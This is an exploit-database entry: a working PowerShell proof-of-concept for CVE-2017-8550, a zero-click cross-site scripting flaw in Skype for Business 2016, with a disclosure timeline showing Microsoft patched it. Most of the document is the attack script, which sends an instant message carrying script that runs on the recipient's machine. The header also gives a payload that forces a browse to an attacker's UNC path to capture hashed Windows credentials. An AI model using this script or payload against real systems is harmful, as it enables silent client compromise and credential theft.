# Exploit Title: Skype for Business 2016 XSS Injection - CVE-2017-8550
#
# Exploit Author: @nyxgeek - TrustedSec
# Date: 2017-04-10
# Vendor Homepage: www.microsoft.com
# Versions: 16.0.7830.1018 32-bit & 16.0.7927.1020 64-bit or lower
#
#
# Requirements: Originating machine needs Lync 2013 SDK installed as well as a user logged
# into the Skype for Business client locally
#
#
# Description:
#
# XSS injection is possible via the Lync 2013 SDK and PowerShell. No user-interaction is
# required for the XSS to execute on the target machine. It will run regardless of whether
# or not they accept the message. The target only needs to be online.
#
# Additionally, by forcing a browse to a UNC path via the file URI it is possible to
# capture hashed user credentials for the current user.
# Example:
# <script>document.location.replace=('file:\\\\server.ip.address\\test.txt');</script>
#
#
# Shoutout to @kfosaaen for providing the base PowerShell code that I recycled
#
#
# Timeline of Disclosure
# ----------------------
# 4/24/2017 Submitted to Microsoft
# 5/09/2017 Received confirmation that they were able to reproduce
# 6/14/2017 Fixed by Microsoft
#target user
$target = "username@domain.com"
# For this example we will force the user to navigate to a page of our choosing (autopwn?)
# Skype uses the default browser for this.
$message = "PoC Skype for Business 2016 XSS Injection<script>document.location.href=('http://www.youtube.com/watch?v=9Rnr70wCQSA')</script>"
if (-not (Get-Module -Name Microsoft.Lync.Model))
{
try
{
# you may need to change the location of this DLL
Import-Module "C:\Program Files\Microsoft Office\Office15\LyncSDK\Assemblies\Desktop\Microsoft.Lync.Model.dll" -ErrorAction Stop
}
catch
{
Write-Warning "Microsoft.Lync.Model not available, download and install the Lync 2013 SDK http://www.microsoft.com/en-us/download/details.aspx?id=36824"
}
}
# Connect to the local Skype process
try
{
$client = [Microsoft.Lync.Model.LyncClient]::GetClient()
}
catch
{
Write-Host "`nMust be signed-in to Skype"
break
}
#Start Conversation
$msg = New-Object "System.Collections.Generic.Dictionary[Microsoft.Lync.Model.Conversation.InstantMessageContentType, String]"
#Add the Message
$msg.Add(1,$message)
# Add the contact URI
try
{
$contact = $client.ContactManager.GetContactByUri($target)
}
catch
{
Write-Host "`nFailed to lookup Contact"$target
break
}
# Create a conversation
$convo = $client.ConversationManager.AddConversation()
$convo.AddParticipant($contact) | Out-Null
# Set the message mode as IM
$imModality = $convo.Modalities[1]
# Send the message
$imModality.BeginSendMessage($msg, $null, $imModality) | Out-Null
# End the Convo to suppress the UI
$convo.End() | Out-Null
Write-Host "Sent the following message to "$target":`n"$message
